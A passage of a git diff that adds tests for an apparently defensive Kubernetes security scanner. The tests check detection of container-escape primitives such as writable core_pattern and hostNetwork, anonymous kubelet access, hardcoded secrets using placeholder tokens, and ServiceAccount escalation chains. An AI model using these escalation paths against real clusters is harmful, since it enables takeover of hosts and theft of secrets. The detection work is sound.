+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE")
+ assert f.severity == "critical"
+
+
+def test_generic_hostpath_lower_severity():
+ pod = make_pod(volumes=[make_host_path_volume(path="/tmp/app-data")])
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-GENERIC")
+ assert f.severity == "medium"
+
+
+# ---------- Writable /proc primitive ----------
+
+def test_writable_core_pattern_trivial():
+ """Mounting /proc/sys/kernel/core_pattern writable is a trivial host code-exec primitive."""
+ c = make_container(volume_mounts=[
+ make_volume_mount(mount_path="/proc/sys/kernel/core_pattern", read_only=False),
+ ])
+ pod = make_pod(containers=[c])
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-PROC-WRITE")
+ assert f.severity == "critical"
+ assert f.exploitability == "trivial"
+ assert "core_pattern" in (f.exploit or "")
+
+
+def test_writable_proc_root_easy():
+ c = make_container(volume_mounts=[
+ make_volume_mount(mount_path="/proc", read_only=False),
+ ])
+ pod = make_pod(containers=[c])
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-PROC-WRITE")
+ assert f.severity == "high"
+
+
+def test_readonly_proc_not_flagged():
+ c = make_container(volume_mounts=[
+ make_volume_mount(mount_path="/proc/sys/kernel/core_pattern", read_only=True),
+ ])
+ pod = make_pod(containers=[c])
+ ids = {f.id for f in scan_escapes(pod)}
+ assert "ESC-PROC-WRITE" not in ids
+
+
+# ---------- hostNetwork / hostIPC ----------
+
+def test_hostnetwork_flagged_with_kubelet_poc():
+ pod = make_pod(host_network=True)
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTNET")
+ assert "10250" in (f.exploit or "")
+ assert f.exploitability == "easy"
+
+
+def test_hostipc_flagged():
+ pod = make_pod(host_ipc=True)
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTIPC")
+ assert "ipcs" in (f.exploit or "")
+
+
+# ---------- Root user multiplier ----------
+
+def test_root_user_no_drop_emits_multiplier():
+ """Plain root (no privileged, no caps) is a multiplier, medium severity."""
+ pod = make_pod(containers=[make_container(run_as_user=0)])
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-ROOT-NO-DROP")
+ assert f.severity == "medium"
+ assert f.exploitability == "moderate"
+
+
+def test_root_user_with_caps_not_double_counted():
+ """If the container already has dangerous caps, the root-multiplier finding shouldn't fire (the cap finding dominates)."""
+ pod = make_pod(containers=[make_container(run_as_user=0, caps_add=["SYS_ADMIN"])])
+ ids = {f.id for f in scan_escapes(pod)}
+ assert "ESC-CAP-SYS_ADMIN" in ids
+ assert "ESC-ROOT-NO-DROP" not in ids
+
+
+def test_nonroot_user_no_multiplier():
+ pod = make_pod(containers=[make_container(run_as_user=1000)])
+ ids = {f.id for f in scan_escapes(pod)}
+ assert "ESC-ROOT-NO-DROP" not in ids
+
+
+# ---------- Negative cases ----------
+
+def test_clean_pod_produces_no_escape_findings():
+ """Minimal hardened pod: non-root, no caps, no privileged, no hostNS, no hostPath."""
+ c = make_container(privileged=False, run_as_user=1000, read_only_root_filesystem=True,
+ allow_privilege_escalation=False)
+ pod = make_pod(containers=[c])
+ findings = scan_escapes(pod)
+ assert findings == []
diff --git a/tests/test_kubelet.py b/tests/test_kubelet.py
new file mode 100644
index 0000000..faea1b2
--- /dev/null
+++ b/tests/test_kubelet.py
@@ -0,0 +1,212 @@
+"""Tests for active kubelet probing.
+
+We stand up a real local HTTP server (no mocking the urllib internals)
+that returns different bodies/codes per path. This actually exercises
+the HTTP handling code paths that production would hit.
+"""
+import threading
+import socket
+from http.server import BaseHTTPRequestHandler, HTTPServer
+from types import SimpleNamespace
+from typing import Dict, Tuple
+
+import pytest
+
+from kuberoast.scanners.kubelet import (
+ _http_get, _tcp_open, _probe_readonly, _probe_api_port, scan_kubelet,
+)
+
+
+class _Handler(BaseHTTPRequestHandler):
+ routes: Dict[str, Tuple[int, str]] = {}
+
+ def do_GET(self):
+ for path, (status, body) in self.routes.items():
+ if self.path == path:
+ self.send_response(status)
+ self.send_header("Content-Type", "application/json")
+ self.end_headers()
+ self.wfile.write(body.encode())
+ return
+ self.send_response(404)
+ self.end_headers()
+
+ def log_message(self, *args, **kwargs):
+ pass # silence test noise
+
+
+def _free_port() -> int:
+ s = socket.socket()
+ s.bind(("127.0.0.1", 0))
+ port = s.getsockname()[1]
+ s.close()
+ return port
+
+
+@pytest.fixture
+def http_server():
+ """Yield (host, port, set_routes_fn). Server runs for the test, shuts down after."""
+ port = _free_port()
+ handler = type("H", (_Handler,), {"routes": {}})
+ srv = HTTPServer(("127.0.0.1", port), handler)
+ t = threading.Thread(target=srv.serve_forever, daemon=True)
+ t.start()
+
+ def set_routes(routes: Dict[str, Tuple[int, str]]):
+ handler.routes = routes
+
+ yield "127.0.0.1", port, set_routes
+ srv.shutdown()
+ srv.server_close()
+
+
+def test_http_get_returns_status_and_body(http_server):
+ host, port, set_routes = http_server
+ set_routes({"/pods": (200, '{"kind":"PodList"}')})
+ status, body = _http_get(f"http://{host}:{port}/pods")
+ assert status == 200
+ assert "PodList" in body
+
+
+def test_http_get_handles_404(http_server):
+ host, port, _ = http_server
+ status, _ = _http_get(f"http://{host}:{port}/nothing")
+ assert status == 404
+
+
+def test_http_get_handles_unreachable():
+ status, _ = _http_get("http://127.0.0.1:1/x", timeout=0.5)
+ assert status == -1
+
+
+def test_tcp_open_true_for_listening():
+ s = socket.socket()
+ s.bind(("127.0.0.1", 0))
+ s.listen(1)
+ port = s.getsockname()[1]
+ try:
+ assert _tcp_open("127.0.0.1", port) is True
+ finally:
+ s.close()
+
+
+def test_tcp_open_false_for_unbound():
+ assert _tcp_open("127.0.0.1", 1) is False
+
+
+def test_readonly_pods_endpoint_emits_critical(monkeypatch, http_server):
+ """When /pods returns a PodList, we should emit KUBELET-RO-PODS critical."""
+ host, port, set_routes = http_server
+ set_routes({"/pods": (200, '{"kind":"PodList","items":[]}')})
+
+ # Make the probe target our test server's port instead of 10255
+ monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open",
+ lambda ip, p, timeout=1.5: p == 10255)
+
+ captured = {}
+ orig_http = _http_get
+
+ def fake_http(url, **kw):
+ # Rewrite 10255 β our test port
+ url = url.replace(":10255/", f":{port}/")
+ captured["url"] = url
+ return orig_http(url, **kw)
+
+ monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http)
+
+ findings = _probe_readonly("node-1", host)
+ ids = {f.id for f in findings}
+ assert "KUBELET-RO-PODS" in ids
+ pods_finding = next(f for f in findings if f.id == "KUBELET-RO-PODS")
+ assert pods_finding.severity == "critical"
+ assert pods_finding.exploitability == "trivial"
+
+
+def test_readonly_metrics_emits_medium(monkeypatch, http_server):
+ host, port, set_routes = http_server
+ set_routes({
+ "/pods": (200, "junk"), # not a PodList, won't trigger RO-PODS
+ "/metrics": (200, "# HELP foo bar"),
+ })
+ monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open",
+ lambda ip, p, timeout=1.5: p == 10255)
+
+ def fake_http(url, **kw):
+ url = url.replace(":10255/", f":{port}/")
+ return _http_get(url, **kw)
+
+ monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http)
+ findings = _probe_readonly("node-1", host)
+ ids = {f.id for f in findings}
+ assert "KUBELET-RO-METRICS" in ids
+
+
+def test_api_port_anon_pods_critical(monkeypatch, http_server):
+ """Anonymous /pods on 10250 = textbook game-over kubelet."""
+ host, port, set_routes = http_server
+ set_routes({"/pods": (200, '{"kind":"PodList"}')})
+
+ monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open",
+ lambda ip, p, timeout=1.5: p == 10250)
+
+ def fake_http(url, **kw):
+ # rewrite https://...:10250 to http://...:port (test server is plain HTTP)
+ url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/")
+ return _http_get(url, **kw)
+
+ monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http)
+ findings = _probe_api_port("node-1", host)
+ ids = {f.id for f in findings}
+ assert "KUBELET-API-ANON-PODS" in ids
+ f = next(f for f in findings if f.id == "KUBELET-API-ANON-PODS")
+ assert f.severity == "critical"
+
+
+def test_api_port_401_emits_info(monkeypatch, http_server):
+ host, port, set_routes = http_server
+ set_routes({"/pods": (401, "")})
+ monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open",
+ lambda ip, p, timeout=1.5: p == 10250)
+
+ def fake_http(url, **kw):
+ url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/")
+ return _http_get(url, **kw)
+
+ monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http)
+ findings = _probe_api_port("node-1", host)
+ ids = {f.id for f in findings}
+ assert "KUBELET-API-AUTH" in ids
+
+
+def test_configz_disclosure(monkeypatch, http_server):
+ host, port, set_routes = http_server
+ set_routes({
+ "/pods": (200, "junk"), # not a podlist
+ "/configz": (200, '{"kubeletconfig":{"clusterDNS":["10.0.0.10"]}}'),
+ })
+ monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open",
+ lambda ip, p, timeout=1.5: p == 10250)
+
+ def fake_http(url, **kw):
+ url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/")
+ return _http_get(url, **kw)
+
+ monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http)
+ findings = _probe_api_port("node-1", host)
+ ids = {f.id for f in findings}
+ assert "KUBELET-CONFIGZ" in ids
+
+
+def test_scan_kubelet_handles_no_nodes():
+ assert scan_kubelet([]) == []
+
+
+def test_scan_kubelet_skips_unreachable_nodes(monkeypatch):
+ """Nodes with no open ports should produce zero findings."""
+ monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open",
+ lambda ip, p, timeout=1.5: False)
+ node = SimpleNamespace(
+ metadata=SimpleNamespace(name="n1"),
+ status=SimpleNamespace(addresses=[SimpleNamespace(type="InternalIP", address="10.0.0.1")]),
+ )
+ assert scan_kubelet([node]) == []
diff --git a/tests/test_manifests.py b/tests/test_manifests.py
new file mode 100644
index 0000000..57d3ad9
--- /dev/null
+++ b/tests/test_manifests.py
@@ -0,0 +1,185 @@
+"""Tests for offline manifest loader (shift-left mode)."""
+import json
+import os
+from pathlib import Path
+
+import pytest
+
+from kuberoast.utils.manifests import load_manifests, _to_snake
+
+
+def test_snake_conversion_basics():
+ assert _to_snake("hostNetwork") == "host_network"
+ assert _to_snake("hostPID") == "host_pid"
+ assert _to_snake("hostIPC") == "host_ipc"
+ assert _to_snake("runAsUser") == "run_as_user"
+ assert _to_snake("allowPrivilegeEscalation") == "allow_privilege_escalation"
+ assert _to_snake("readOnlyRootFilesystem") == "read_only_root_filesystem"
+ assert _to_snake("automountServiceAccountToken") == "automount_service_account_token"
+ assert _to_snake("loadBalancerSourceRanges") == "load_balancer_source_ranges"
+
+
+def test_snake_conversion_external_ips_quirk():
+ """The kubernetes Python client uses external_i_ps (not external_ips) β we mirror that."""
+ assert _to_snake("externalIPs") == "external_i_ps"
+
+
+def test_load_single_pod_yaml(tmp_path: Path):
+ pytest.importorskip("yaml")
+ f = tmp_path / "pod.yaml"
+ f.write_text("""\
+apiVersion: v1
+kind: Pod
+metadata:
+ name: p1
+ namespace: ns
+spec:
+ containers:
+ - name: c
+ securityContext:
+ privileged: true
+""")
+ grouped = load_manifests(str(tmp_path))
+ assert "Pod" in grouped
+ pod = grouped["Pod"][0]
+ assert pod.metadata.name == "p1"
+ assert pod.spec.containers[0].security_context.privileged is True
+
+
+def test_load_multidoc_yaml(tmp_path: Path):
+ pytest.importorskip("yaml")
+ f = tmp_path / "many.yaml"
+ f.write_text("""\
+apiVersion: v1
+kind: Pod
+metadata:
+ name: p1
+spec:
+ containers: [{name: c}]
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: d1
+spec:
+ template:
+ spec:
+ containers: [{name: c}]
+""")
+ grouped = load_manifests(str(tmp_path))
+ assert "Pod" in grouped and "Deployment" in grouped
+
+
+def test_load_json_list(tmp_path: Path):
+ f = tmp_path / "list.json"
+ f.write_text(json.dumps({
+ "kind": "List",
+ "items": [
+ {"apiVersion": "v1", "kind": "Pod", "metadata": {"name": "a"}, "spec": {"containers": []}},
+ {"apiVersion": "v1", "kind": "Service", "metadata": {"name": "s"}, "spec": {"type": "ClusterIP"}},
+ ],
+ }))
+ grouped = load_manifests(str(tmp_path))
+ assert len(grouped.get("Pod", [])) == 1
+ assert len(grouped.get("Service", [])) == 1
+
+
+def test_skips_non_k8s_files(tmp_path: Path):
+ pytest.importorskip("yaml")
+ (tmp_path / "values.yaml").write_text("nameOverride: foo\nimage: x\n")
+ grouped = load_manifests(str(tmp_path))
+ assert grouped == {}
+
+
+def test_handles_unparseable_yaml_gracefully(tmp_path: Path):
+ pytest.importorskip("yaml")
+ (tmp_path / "broken.yaml").write_text("this is not :: valid: yaml: { :")
+ # Should not raise; broken file silently skipped
+ grouped = load_manifests(str(tmp_path))
+ assert grouped == {}
+
+
+def test_scanner_works_on_manifest_loaded_pod(tmp_path: Path):
+ """End-to-end: load a privileged pod from YAML, run scanner, get POD-PRIV."""
+ pytest.importorskip("yaml")
+ f = tmp_path / "bad.yaml"
+ f.write_text("""\
+apiVersion: v1
+kind: Pod
+metadata:
+ name: bad-pod
+ namespace: prod
+spec:
+ containers:
+ - name: c
+ securityContext:
+ privileged: true
+""")
+ grouped = load_manifests(str(tmp_path))
+ from kuberoast.scanners.pods import scan_pod_security
+ findings = scan_pod_security(grouped["Pod"][0])
+ ids = {f.id for f in findings}
+ assert "POD-PRIV" in ids
+
+
+def test_scanner_works_on_manifest_loaded_service(tmp_path: Path):
+ """externalIPs in YAML must reach the scanner correctly."""
+ pytest.importorskip("yaml")
+ f = tmp_path / "svc.yaml"
+ f.write_text("""\
+apiVersion: v1
+kind: Service
+metadata:
+ name: bad-svc
+ namespace: prod
+spec:
+ type: ClusterIP
+ externalIPs: [1.2.3.4]
+""")
+ grouped = load_manifests(str(tmp_path))
+ from kuberoast.scanners.network import scan_services
+ findings = scan_services(grouped["Service"])
+ ids = {f.id for f in findings}
+ assert "NET-EXTERNAL-IP" in ids
+
+
+def test_deployment_template_reaches_pod_scanner(tmp_path: Path):
+ pytest.importorskip("yaml")
+ f = tmp_path / "deploy.yaml"
+ f.write_text("""\
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: bad-deploy
+ namespace: prod
+spec:
+ template:
+ spec:
+ hostPID: true
+ containers:
+ - name: c
+ securityContext:
+ privileged: true
+""")
+ grouped = load_manifests(str(tmp_path))
+ from kuberoast.utils.workloads import synthesize_pod_from_workload
+ from kuberoast.scanners.escapes import scan_escapes
+ pod = synthesize_pod_from_workload(grouped["Deployment"][0], "Deployment")
+ findings = scan_escapes(pod)
+ ids = {f.id for f in findings}
+ assert "ESC-PRIV-HOSTPID" in ids
+
+
+def test_nested_directories_walked(tmp_path: Path):
+ pytest.importorskip("yaml")
+ (tmp_path / "chart").mkdir()
+ (tmp_path / "chart" / "templates").mkdir()
+ (tmp_path / "chart" / "templates" / "pod.yaml").write_text("""\
+apiVersion: v1
+kind: Pod
+metadata: {name: nested}
+spec: {containers: [{name: c}]}
+""")
+ grouped = load_manifests(str(tmp_path))
+ assert "Pod" in grouped
+ assert grouped["Pod"][0].metadata.name == "nested"
diff --git a/tests/test_podsecrets.py b/tests/test_podsecrets.py
new file mode 100644
index 0000000..2ecd0da
--- /dev/null
+++ b/tests/test_podsecrets.py
@@ -0,0 +1,75 @@
+"""Tests for hardcoded credentials in pod env / args / command."""
+from kuberoast.scanners.podsecrets import scan_pod_credentials
+from tests.conftest import make_pod, make_container, make_env
+
+
+def test_literal_aws_key_in_env():
+ c = make_container(env=[make_env("AWS_ACCESS_KEY_ID", value="AKIAIOSFODNN7EXAMPLE")])
+ pod = make_pod(containers=[c])
+ f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-AWS-AKID")
+ assert f.severity == "critical"
+ assert f.exploitability == "trivial"
+
+
+def test_named_password_env_flagged():
+ c = make_container(env=[make_env("DB_PASSWORD", value="sup3rs3cr3tvalue")])
+ pod = make_pod(containers=[c])
+ f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-NAMED")
+ assert f.severity == "medium"
+
+
+def test_secret_key_ref_not_flagged():
+ """env.valueFrom.secretKeyRef has no literal .value β safe, must not flag."""
+ vf = object() # value_from present, value is None
+ c = make_container(env=[make_env("DB_PASSWORD", value=None, value_from=vf)])
+ pod = make_pod(containers=[c])
+ assert scan_pod_credentials(pod) == []
+
+
+def test_short_value_not_flagged():
+ c = make_container(env=[make_env("PASSWORD", value="abc")]) # below 6-char threshold
+ pod = make_pod(containers=[c])
+ assert not [f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-NAMED"]
+
+
+def test_path_value_not_flagged():
+ """A 'SECRET_PATH'-style env pointing at a file path is benign."""
+ c = make_container(env=[make_env("TOKEN_PATH", value="/var/run/secrets/token")])
+ pod = make_pod(containers=[c])
+ assert scan_pod_credentials(pod) == []
+
+
+def test_benign_env_not_flagged():
+ c = make_container(env=[make_env("LOG_LEVEL", value="info"), make_env("PORT", value="8080")])
+ pod = make_pod(containers=[c])
+ assert scan_pod_credentials(pod) == []
+
+
+def test_github_token_in_args():
+ c = make_container(args=["--token", "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"])
+ pod = make_pod(containers=[c])
+ f = next(f for f in scan_pod_credentials(pod) if f.id == "ARG-LEAK-GITHUB-PAT")
+ assert f.severity == "high"
+ assert "/proc" in (f.impact or "").lower() or "command line" in (f.impact or "").lower()
+
+
+def test_url_with_creds_in_command():
+ """High-signal: an http(s) URL with embedded credentials on the command line."""
+ c = make_container(command=["/app", "--webhook", "https://admin:hunter2secret@hooks.example.com/x"])
+ pod = make_pod(containers=[c])
+ ids = {f.id for f in scan_pod_credentials(pod)}
+ assert "ARG-LEAK-GENERIC-URL" in ids
+
+
+def test_redaction_in_env_finding():
+ c = make_container(env=[make_env("GH", value="ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")])
+ pod = make_pod(containers=[c])
+ f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-GITHUB-PAT")
+ assert "β¦" in f.description # redacted, not the full token
+
+
+def test_one_finding_per_env_entry():
+ c = make_container(env=[make_env("K", value="AKIAIOSFODNN7EXAMPLE")])
+ pod = make_pod(containers=[c])
+ aws = [f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-AWS-AKID"]
+ assert len(aws) == 1
diff --git a/tests/test_reporting.py b/tests/test_reporting.py
index 52c23ad..82f291f 100644
--- a/tests/test_reporting.py
+++ b/tests/test_reporting.py
@@ -30,7 +30,7 @@ def test_text_output_grouped_by_severity():
def test_text_output_summary():
output = text_report.emit(_sample_findings())
assert "3 findings" in output
- assert "1 critical" in output
+ assert "CRITICAL 1" in output
def test_text_empty_findings():
diff --git a/tests/test_sa_chains.py b/tests/test_sa_chains.py
new file mode 100644
index 0000000..0a869b2
--- /dev/null
+++ b/tests/test_sa_chains.py
@@ -0,0 +1,149 @@
+"""Tests for multi-hop ServiceAccount escalation chains."""
+from kuberoast.attackpaths.sa_chains import analyze_sa_chains
+from tests.conftest import (
+ make_role, make_cluster_role, make_rule, make_binding, make_cluster_binding,
+ make_subject, make_pod,
+)
+
+
+def test_direct_bind_to_clusteradmin_is_one_hop():
+ """SA with create rolebindings can bind self to cluster-admin in 1 hop."""
+ crole = make_cluster_role(name="binder", rules=[
+ make_rule(verbs=["create"], resources=["clusterrolebindings"]),
+ ])
+ crb = make_cluster_binding(name="binder-grant", role_kind="ClusterRole", role_name="binder",
+ subjects=[make_subject(kind="ServiceAccount", name="attacker", namespace="dev")])
+ findings = analyze_sa_chains([], [crole], [], [crb], pods=[])
+ chains = [f for f in findings if f.id == "AP-CHAIN"]
+ target = next(c for c in chains if "sa:dev:attacker" in c.resource)
+ assert target.severity == "critical"
+ assert target.exploitability == "trivial"
+ assert "clusterrolebinding" in (target.exploit or "").lower()
+
+
+def test_two_hop_chain_via_create_pod_then_bind():
+ """SA-A can create pods β run as SA-B β SA-B can bind cluster-admin."""
+ # SA-B has the privileged binding capability
+ crole_binder = make_cluster_role(name="binder", rules=[
+ make_rule(verbs=["create"], resources=["clusterrolebindings"]),
+ ])
+ sa_b_grant = make_cluster_binding(name="sa-b-grant", role_kind="ClusterRole", role_name="binder",
+ subjects=[make_subject(kind="ServiceAccount", name="sa-b", namespace="prod")])
+
+ # SA-A can create pods in prod
+ role_pod_creator = make_role(name="pod-creator", namespace="prod", rules=[
+ make_rule(verbs=["create"], resources=["pods"]),
+ ])
+ sa_a_grant = make_binding(name="sa-a-grant", namespace="prod", role_kind="Role", role_name="pod-creator",
+ subjects=[make_subject(kind="ServiceAccount", name="sa-a", namespace="prod")])
+
+ # SA-B has a pod we can exec into (provides edge endpoint via create pods, not exec)
+ pod_b = make_pod(name="b-pod", namespace="prod", service_account_name="sa-b")
+
+ findings = analyze_sa_chains([role_pod_creator], [crole_binder], [sa_a_grant], [sa_b_grant], pods=[pod_b])
+ chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:prod:sa-a" in c.resource]
+ assert chains, "Expected chain starting from sa:prod:sa-a"
+ chain = chains[0]
+ assert chain.severity == "critical" # 2 hops still critical
+
+
+def test_impersonate_is_one_hop_to_admin():
+ """impersonate users β can act as system:admin directly."""
+ crole = make_cluster_role(name="imp", rules=[
+ make_rule(verbs=["impersonate"], resources=["users"]),
+ ])
+ crb = make_cluster_binding(name="imp-grant", role_kind="ClusterRole", role_name="imp",
+ subjects=[make_subject(kind="ServiceAccount", name="att", namespace="x")])
+ findings = analyze_sa_chains([], [crole], [], [crb], pods=[])
+ chains = [c for c in findings if c.id == "AP-CHAIN"]
+ target = next(c for c in chains if "sa:x:att" in c.resource)
+ assert target.exploitability == "trivial"
+
+
+def test_token_request_is_one_hop_to_any_sa():
+ """create serviceaccounts/token β mint token for any SA."""
+ crole = make_cluster_role(name="token-minter", rules=[
+ make_rule(verbs=["create"], resources=["serviceaccounts/token"]),
+ ])
+ crb = make_cluster_binding(name="g", role_kind="ClusterRole", role_name="token-minter",
+ subjects=[make_subject(kind="ServiceAccount", name="att", namespace="x")])
+
+ # Add an admin SA to mint a token for
+ admin_role = make_cluster_role(name="admin", rules=[
+ make_rule(verbs=["*"], resources=["*"]),
+ ])
+ admin_grant = make_cluster_binding(name="admin-grant", role_kind="ClusterRole", role_name="admin",
+ subjects=[make_subject(kind="ServiceAccount", name="god", namespace="y")])
+
+ findings = analyze_sa_chains([], [crole, admin_role], [], [crb, admin_grant], pods=[])
+ chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:x:att" in c.resource]
+ assert chains, "Expected chain via TokenRequest"
+ # Should be 1 hop: att β mint token for god (terminal)
+ assert chains[0].severity == "critical"
+
+
+def test_chain_skips_kube_system_starts():
+ """We don't want to flag kube-system SAs as 'escalation starts' β they're already privileged."""
+ crole = make_cluster_role(name="binder", rules=[
+ make_rule(verbs=["create"], resources=["clusterrolebindings"]),
+ ])
+ crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="binder",
+ subjects=[make_subject(kind="ServiceAccount", name="kube-controller-manager", namespace="kube-system")])
+ findings = analyze_sa_chains([], [crole], [], [crb], pods=[])
+ chains = [c for c in findings if c.id == "AP-CHAIN"]
+ starts = {c.resource for c in chains}
+ assert "sa:kube-system:kube-controller-manager" not in starts
+
+
+def test_no_chain_for_isolated_sa():
+ """SA bound only to a read-only role should NOT produce a chain finding."""
+ role = make_role(name="reader", namespace="ns", rules=[
+ make_rule(verbs=["get", "list"], resources=["pods"]),
+ ])
+ rb = make_binding(name="r", namespace="ns", role_kind="Role", role_name="reader",
+ subjects=[make_subject(kind="ServiceAccount", name="boring", namespace="ns")])
+ findings = analyze_sa_chains([role], [], [rb], [], pods=[])
+ chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:ns:boring" in c.resource]
+ assert chains == []
+
+
+def test_get_all_secrets_is_terminal():
+ """A principal that can get+list secrets cluster-wide is terminal (effective admin)."""
+ crole = make_cluster_role(name="secret-reader", rules=[
+ make_rule(verbs=["get", "list"], resources=["secrets"]),
+ ])
+ crb = make_cluster_binding(name="g", role_kind="ClusterRole", role_name="secret-reader",
+ subjects=[make_subject(kind="ServiceAccount", name="reader", namespace="x")])
+ # Now another SA chains into it via TokenRequest
+ crole_mint = make_cluster_role(name="minter", rules=[
+ make_rule(verbs=["create"], resources=["serviceaccounts/token"]),
+ ])
+ crb_mint = make_cluster_binding(name="m", role_kind="ClusterRole", role_name="minter",
+ subjects=[make_subject(kind="ServiceAccount", name="att", namespace="y")])
+ findings = analyze_sa_chains([], [crole, crole_mint], [], [crb, crb_mint], pods=[])
+ chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:y:att" in c.resource]
+ assert chains, "Expected chain into get-all-secrets terminal"
+
+
+def test_exec_chain_uses_existing_pod():
+ """Can-exec on a pod running SA-B should reach SA-B."""
+ # SA-B has a privileged role
+ crole = make_cluster_role(name="binder", rules=[
+ make_rule(verbs=["create"], resources=["clusterrolebindings"]),
+ ])
+ crb_b = make_cluster_binding(name="b-grant", role_kind="ClusterRole", role_name="binder",
+ subjects=[make_subject(kind="ServiceAccount", name="sa-b", namespace="prod")])
+
+ # SA-A can exec into pods
+ role_exec = make_role(name="execer", namespace="prod", rules=[
+ make_rule(verbs=["create"], resources=["pods/exec"]),
+ ])
+ rb_a = make_binding(name="a-grant", namespace="prod", role_kind="Role", role_name="execer",
+ subjects=[make_subject(kind="ServiceAccount", name="sa-a", namespace="prod")])
+
+ pod = make_pod(name="b-pod", namespace="prod", service_account_name="sa-b")
+ findings = analyze_sa_chains([role_exec], [crole], [rb_a], [crb_b], pods=[pod])
+ chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:prod:sa-a" in c.resource]
+ assert chains
+ # exec PoC should reference the actual pod
+ assert "b-pod" in (chains[0].description or "")
diff --git a/tests/test_tier_zero.py b/tests/test_tier_zero.py
new file mode 100644
index 0000000..ab72ff9
--- /dev/null
+++ b/tests/test_tier_zero.py
@@ -0,0 +1,109 @@
+"""Tests for tier-0 / crown-jewel identification."""
+from kuberoast.attackpaths.tier_zero import analyze_tier_zero
+from tests.conftest import (
+ make_cluster_role, make_role, make_rule, make_binding, make_cluster_binding,
+ make_subject,
+)
+
+
+def _grant(verbs, resources, sa_name="att", sa_ns="dev"):
+ """Helper: ClusterRole with the given rule bound to an SA. Returns (roles, croles, rbs, crbs)."""
+ cr = make_cluster_role(name="r", rules=[make_rule(verbs=verbs, resources=resources)])
+ crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r",
+ subjects=[make_subject(kind="ServiceAccount", name=sa_name, namespace=sa_ns)])
+ return [], [cr], [], [crb]
+
+
+def test_csr_mint_is_tier0():
+ cr = make_cluster_role(name="csr", rules=[
+ make_rule(verbs=["create"], resources=["certificatesigningrequests"]),
+ make_rule(verbs=["update"], resources=["certificatesigningrequests/approval"]),
+ ])
+ crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="csr",
+ subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")])
+ findings = analyze_tier_zero([], [cr], [], [crb])
+ f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource)
+ assert f.severity == "critical"
+ assert "system:masters" in (f.exploit or "")
+ assert "T1649" in f.attack_techniques or "T1098.001" in f.attack_techniques
+
+
+def test_csr_create_without_approve_not_tier0():
+ """create CSR alone is not enough β need approval too."""
+ roles, croles, rbs, crbs = _grant(["create"], ["certificatesigningrequests"])
+ findings = analyze_tier_zero(roles, croles, rbs, crbs)
+ # may still be flagged for nothing else; ensure CSR primitive specifically absent
+ tier0 = [f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource]
+ assert tier0 == []
+
+
+def test_nodes_proxy_is_tier0():
+ roles, croles, rbs, crbs = _grant(["create"], ["nodes/proxy"])
+ findings = analyze_tier_zero(roles, croles, rbs, crbs)
+ f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource)
+ assert "nodes/proxy" in f.description
+
+
+def test_exec_anywhere_is_tier0():
+ roles, croles, rbs, crbs = _grant(["create"], ["pods/exec"])
+ findings = analyze_tier_zero(roles, croles, rbs, crbs)
+ f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource)
+ assert "exec into any pod" in f.description
+
+
+def test_read_all_secrets_is_tier0():
+ cr = make_cluster_role(name="s", rules=[make_rule(verbs=["get", "list"], resources=["secrets"])])
+ crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="s",
+ subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")])
+ findings = analyze_tier_zero([], [cr], [], [crb])
+ f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource)
+ assert "read every Secret" in f.description
+
+
+def test_token_mint_is_tier0():
+ roles, croles, rbs, crbs = _grant(["create"], ["serviceaccounts/token"])
+ findings = analyze_tier_zero(roles, croles, rbs, crbs)
+ assert any(f.id == "AP-TIER0" and "sa:dev:att" in f.resource for f in findings)
+
+
+def test_webhook_write_is_tier0():
+ roles, croles, rbs, crbs = _grant(["create"], ["mutatingwebhookconfigurations"])
+ findings = analyze_tier_zero(roles, croles, rbs, crbs)
+ f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource)
+ assert "admission webhooks" in f.description
+
+
+def test_impersonate_is_tier0():
+ roles, croles, rbs, crbs = _grant(["impersonate"], ["users"])
+ findings = analyze_tier_zero(roles, croles, rbs, crbs)
+ assert any(f.id == "AP-TIER0" and "sa:dev:att" in f.resource for f in findings)
+
+
